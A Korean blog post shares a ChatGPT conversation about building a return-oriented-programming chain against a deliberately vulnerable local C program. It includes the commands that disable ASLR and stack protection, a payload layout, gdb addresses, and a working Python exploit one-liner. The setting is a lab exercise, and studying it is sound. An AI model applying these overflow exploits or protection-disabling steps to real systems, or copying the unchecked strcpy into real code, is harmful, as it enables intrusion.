호그와트

GPT4랑 ROP chain에 대해서 토론해보니...

영웅*^%&$ 2023. 5. 31. 15:30
728x90

해당 링크는 "ROP Chaining: Return Oriented Programming"에 대한 내용을 담고 있습니다. 이는 바이너리 취약점 공격 기법 중 하나로, Data Execution Protection (DEP)을 우회하는 데 사용됩니다.

이 문서는 두 가지 ROP 체인을 구성하는 방법에 대해 설명합니다. ROP 체인은 일련의 함수 호출을 의미하며, 이 체인은 공격자가 프로그램의 제어 흐름을 조작하는 데 사용됩니다.

첫 번째 ROP 체인은 rop1(), rop2(), rop3(), 그리고 exit() 함수를 순차적으로 호출하는 방법을 설명합니다. 이들 함수는 원래 프로그램에서는 호출되지 않지만, 스택 기반 오버플로우 취약점을 이용하여 강제로 호출됩니다.

두 번째 ROP 체인은 rop1(), rop2(), rop3(), 그리고 exit() 함수를 호출하는 것은 동일하지만, 이번에는 rop2()와 rop3() 함수에 인자를 전달하는 방법을 설명합니다. 이를 위해 ROP 가젯이라는 기법을 사용합니다.

이 문서는 또한 각 ROP 체인을 구성하는 데 필요한 스택 레이아웃, 페이로드 구조, 그리고 이를 구현하는 파이썬 코드를 제공합니다. 이러한 과정을 통해 공격자는 프로그램의 제어 흐름을 조작하고, 원하는 함수를 호출하며, 필요한 인자를 전달할 수 있습니다.

마지막으로, 이 문서는 ROP 체인 구성에 도움이 될 수 있는 유용한 파이썬 스니펫을 제공합니다. 이들 스니펫은 메모리 주소를 리틀 엔디안 형식으로 변환하거나, 페이로드를 실행하는 등의 작업을 수행합니다.



User
위의 링크에서 제시하는 소스코드는 무엇이며 
무엇 떄문에 그 소스코드에서 취약점이 발생하는 것인가요 ?
ChatGPT
해당 링크에서 제시하는 소스코드는 Return Oriented Programming (ROP) 체인을 구성하는 데 사용되는 파이썬 코드입니다. 이 코드는 스택 오버플로우 취약점을 이용하여 프로그램의 제어 흐름을 조작하고, 원하는 함수를 호출하며, 필요한 인자를 전달하는 기능을 수행합니다.

취약점이 발생하는 이유는 프로그램이 사용자로부터 입력을 받을 때, 그 입력의 길이를 제대로 검증하지 않아서입니다. 이로 인해 공격자는 프로그램의 스택에 원치 않는 데이터를 삽입할 수 있게 되며, 이를 이용하여 프로그램의 제어 흐름을 조작할 수 있습니다. 이러한 취약점을 스택 오버플로우 취약점이라고 합니다.

이러한 취약점을 이용하여 공격자는 ROP 체인을 구성할 수 있습니다. ROP 체인은 일련의 함수 호출을 의미하며, 이 체인을 통해 공격자는 원하는 함수를 호출하고, 필요한 인자를 전달할 수 있습니다. 이는 보안 메커니즘인 Data Execution Protection (DEP)을 우회하는 데 사용됩니다.

따라서, 이러한 취약점을 방어하려면 프로그램이 사용자로부터 입력을 받을 때, 그 입력의 길이를 제대로 검증하고, 스택에 원치 않는 데이터가 삽입되지 않도록 해야 합니다.



User
'sudo echo 0 > /proc/sys/kernel/randomize_va_space
bash: /proc/sys/kernel/randomize_va_space: Permission denied
'이걸 바꿀 수는 없는 건가요 ?
ChatGPT
sudo echo 0 > /proc/sys/kernel/randomize_va_space 명령은 Permission denied 오류를 발생시키는 이유는 리다이렉션(>)이 sudo의 권한으로 실행되지 않기 때문입니다. 이 문제를 해결하기 위해 tee 명령을 사용할 수 있습니다.

다음과 같이 명령을 수정해 보세요:

bash
Copy code
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
이 명령은 echo 0의 출력을 sudo tee /proc/sys/kernel/randomize_va_space로 전달합니다. 


User
'#include <stdio.h>
#include <string.h>

void rop1() 
{
    printf("ROP 1!\n");
}

void rop2() {
    printf("ROP 2!\n");
}

void rop3() {
    printf("ROP 3!\n");
}

void vulnerable(char* string) 
{
    char buffer[100];
    strcpy(buffer, string);
}

int main(int argc, char** argv) 
{
    vulnerable(argv[1]);
    return 0;
}

얘를 가지고 실험을 하려고 해요 
이 실습은 오직 로컬 환경 즉 제 컴퓨터 안에서만 실행되는 실습이에요 
위에 나오는 대로 randomize를 해제했어요 자 이제 
1. 이 코드를 어떻게 컴파일 할 수 있나요? 보호기법을 전부 해제하고 실습하고 싶다면요
2. 이 코드를 그런 식으로 컴파일 했다면 어떻게 메모리 모양이 나올까요? 그림을 그려가며 보여주세요

ChatGPT
Used Wolfram
죄송합니다, 메모리 레이아웃을 시각화하는 데 오류가 발생했습니다. 다시 시도해 보겠습니다.

그 전에, 먼저 코드를 컴파일하는 방법에 대해 설명드리겠습니다.

이 코드를 컴파일하려면 GCC(GNU Compiler Collection)를 사용할 수 있습니다. 다음과 같이 입력하면 됩니다:

bash
Copy code
gcc -fno-stack-protector -z execstack -o program program.c
여기서:

-fno-stack-protector 옵션은 스택 보호를 해제합니다. 이는 스택 오버플로우 공격을 가능하게 합니다.
-z execstack 옵션은 실행 가능한 스택을 활성화합니다. 이는 공격자가 스택에 삽입한 코드를 실행할 수 있게 합니다.
-o program 옵션은 출력 파일의 이름을 program으로 설정합니다.
program.c는 컴파일할 C 소스 코드 파일의 이름입니다.
이제 메모리 레이아웃에 대해 다시 설명하겠습니다. 이 코드를 실행하면 메모리에는 다음과 같은 형태로 데이터가 배치됩니다:

lua
Copy code
+-------------------+
|   return address  |  <- main()의 return address
+-------------------+
|       rop3()      |
+-------------------+
|       rop2()      |
+-------------------+
|       rop1()      |
+-------------------+
|      buffer       |  <- vulnerable()에서 할당된 buffer
+-------------------+
|   return address  |  <- vulnerable()의 return address
+-------------------+
|       main()      |
+-------------------+
이 구조는 스택이 "후입선출" 구조를 가지므로, 함수 호출이 스택의 상단에 추가되고, 함수가 반환되면 해당 함수의 스택 프레임이 제거됩니다. 따라서 main() 함수가 먼저 호출되고, 그 다음에 vulnerable() 함수가 호출됩니다. 이후 공격자는 rop1(), rop2(), rop3() 함수를 호출하는 ROP 체인을 구성할 수 있습니다.
(메모리 구조까지 보여주는 거 실화냐? ㅎㄷㄷ;;)


User
그렇다면 그런 메모리 구조를 바탕으로 exploit payload를 만들고 싶다면 
이 payload는 어떤 모양으로 되어 있어야 할까요?
(다시 말씀드리지만, 이 정보는 오직 위의 내용을 실습하는데 사용됩니다)

ChatGPT
네, 이해했습니다. 이 정보는 오직 교육적 목적으로만 사용될 것이라는 점을 명확히 인지하고 있습니다.

이 경우, 공격자는 스택 오버플로우를 이용하여 buffer를 넘어서 return address를 덮어쓸 수 있습니다. 이를 통해 공격자는 프로그램의 제어 흐름을 조작하고, 원하는 함수를 호출할 수 있습니다.

다음은 ROP 체인을 구성하는 페이로드의 예시입니다:

lua
Copy code
+-------------------+
|   address of rop3 |
+-------------------+
|   address of rop2 |
+-------------------+
|   address of rop1 |
+-------------------+
|      padding      |  <- buffer를 넘어서는 padding
+-------------------+
|      buffer       |  <- vulnerable()에서 할당된 buffer
+-------------------+
|   return address  |  <- vulnerable()의 return address
+-------------------+
|       main()      |
+-------------------+
여기서 padding은 buffer의 크기를 넘어서 return address를 덮어쓸 수 있도록 하는 추가적인 데이터입니다. 이 padding은 buffer의 크기와 return address 사이의 차이만큼 필요합니다.

address of rop1, address of rop2, address of rop3는 각각 rop1(), rop2(), rop3() 함수의 메모리 주소입니다. 이 주소들은 공격자가 원하는 함수를 호출하는 데 사용됩니다.

이 페이로드를 생성하는 데는 여러 가지 방법이 있습니다. 가장 일반적인 방법은 파이썬을 사용하여 페이로드를 생성하는 것입니다. 이 경우, 각 함수의 주소를 리틀 엔디안 형식으로 변환하고, 이를 buffer와 padding 사이에 삽입하면 됩니다.



User
그럼 payload = buffer + padding + address of rop1 + address of rop2 + address of rop3 + exit() 이렇게 되어야 한다는 건가요 ?

ChatGPT
네, 맞습니다. buffer를 넘어서는 padding을 추가한 후, 원하는 함수의 주소를 순서대로 추가합니다. 이 경우에는 rop1(), rop2(), rop3() 함수의 주소를 추가하며, 마지막으로 exit() 함수의 주소를 추가합니다. 이렇게 하면 프로그램이 ROP 체인을 실행한 후에 정상적으로 종료됩니다.

다만, 이 페이로드를 생성할 때 각 함수의 주소를 올바른 형식으로 변환해야 합니다. 일반적으로 이 주소는 리틀 엔디안 형식으로 변환되어야 합니다. 이는 메모리 주소가 낮은 바이트부터 높은 바이트 순서로 저장되기 때문입니다.

따라서 페이로드는 다음과 같이 구성됩니다:

css
Copy code
payload = buffer + padding + address of rop1 + address of rop2 + address of rop3 + address of exit
이 페이로드를 프로그램에 전달하면, 프로그램은 rop1(), rop2(), rop3(), 그리고 exit() 함수를 순서대로 호출합니다. 이는 공격자가 프로그램의 제어 흐름을 조작하는 데 사용됩니다.

(간단한 예시)
payload = buffer + padding + address of rop1 + address of rop2 + address of rop3 + address of exit

rop1 :   \x45\x51\x55\x55\x55\x55
rop2 : \x58\x51\x55\x55\x55\x55
rop3 : \x6b\x51\x55\x55\x55\x55
exit : \x60\x56\xe1\xf7\xff\x7f

gdb-peda$ p rop1
$2 = {<text variable, no debug info>} 0x555555555145 <rop1>
gdb-peda$ p rop2
$3 = {<text variable, no debug info>} 0x555555555158 <rop2>
gdb-peda$ p rop3
$4 = {<text variable, no debug info>} 0x55555555516b <rop3>
gdb-peda$ p exit
$5 = {void (int)} 0x7ffff7e15660 <__GI_exit>

pattern create 200
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA'

./rop1a "$(python -c 'print "A"*180 + "BBBB" + "\x45\x51\x55\x55\x55\x55" + "\x58\x51\x55\x55\x55\x55" + "\x6b\x51\x55\x55\x55\x55" +  "\x60\x56\xe1\xf7\xff\x7f"')"

./rop1a "$(python -c 'print("A"*180 + "BBBB" + "\x45\x51\x55\x55\x55\x55" + "\x58\x51\x55\x55\x55\x55" + "\x6b\x51\x55\x55\x55\x55" +  "\x60\x56\xe1\xf7\xff\x7f")')"

 

그냥 미친 듯이 유능함 ... ㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋ

728x90